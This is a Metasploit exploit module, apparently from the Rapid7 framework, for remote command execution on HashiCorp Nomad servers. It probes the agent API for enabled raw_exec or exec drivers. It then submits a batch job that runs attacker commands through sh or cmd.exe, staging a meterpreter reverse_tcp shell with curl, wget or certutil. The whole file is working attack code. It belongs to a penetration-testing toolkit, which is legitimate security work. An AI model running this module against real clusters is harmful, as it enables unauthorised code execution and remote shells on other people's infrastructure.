##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HashiCorp Nomad Remote Command Execution',
        'Description' => %q{
          Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option
          is to use the 'raw_exec' driver, which runs with high privileges. Development servers
          and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.
          Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Wyatt Dahlenburg (@wdahlenb)',
        ],
        'References' => [
          [ 'URL', 'https://www.nomadproject.io/' ]
        ],
        'Targets' => [
          [
            'Linux',
            {
              'Platform' => 'linux',
              'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
            }
          ]
        ],
        'Payload' => {},
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-05-17',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
        OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),
        OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),
        OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),
        Opt::RPORT(4646),
        OptString.new('TARGETURI', [true, 'The base path', '/']),
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
      'headers' => {
        'X-Nomad-Token' => datastore['ACL_TOKEN']
      }
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_error 'Unexpected reply'
      return CheckCode::Safe
    end

    agent_info = JSON.parse(res.body)

    if agent_info['config']['Plugins']
      agent_info['config']['Plugins'].each do |plugin|
        if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true
          return CheckCode::Vulnerable
        end
      end
    end

    if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'
      return CheckCode::Vulnerable
    end

    if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
      print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'
      return CheckCode::Appears
    elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  rescue JSON::ParserError
    vprint_error 'Failed to parse JSON output.'
    return CheckCode::Unknown
  end

  def execute_command(cmd, _opts = {})
    uri = target_uri.path
    job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']
    print_status("Creating job '#{job_name}'")

    case target.name
    when /Linux/
      arg1 = 'sh'
      arg2 = '-c'
    when /Windows/
      arg1 = 'cmd.exe'
      arg2 = '/c'
    end

    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, 'v1/jobs'),
      'headers' => {
        'X-Nomad-Token' => datastore['ACL_TOKEN']
      },
      'ctype' => 'application/json',
      'data' => {
        Job: {
          ID: job_name,
          Name: job_name,
          Type: 'batch',
          Datacenters: [datastore['DATACENTER']],
          TaskGroups: [
            {
              Name: job_name,
              Count: 1,
              Tasks: [
                {
                  Name: job_name,
                  Driver: datastore['JOB_TYPE'],
                  User: '',
                  Config: {
                    command: arg1,
                    args: [
                      arg2,
                      cmd.to_s
                    ]
                  },
                  Resources: {
                    CPU: 500,
                    MemoryMB: 256
                  },
                  LogConfig: {
                    MaxFiles: 1,
                    MaxFileSizeMB: 1
                  }
                }
              ],
              RestartPolicy: {
                Attempts: 0
              },
              EphemeralDisk: {
                SizeMB: 300
              }
            }
          ]
        }
      }.to_json
    })
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
    end

    job_info = JSON.parse(res.body)
    eval_id = job_info['EvalID']

    print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
    print_status("Waiting for job '#{job_name}' to trigger")
  rescue JSON::ParserError
    vprint_error 'Failed to parse JSON output.'
  end

  def exploit
    execute_cmdstager
  end
end
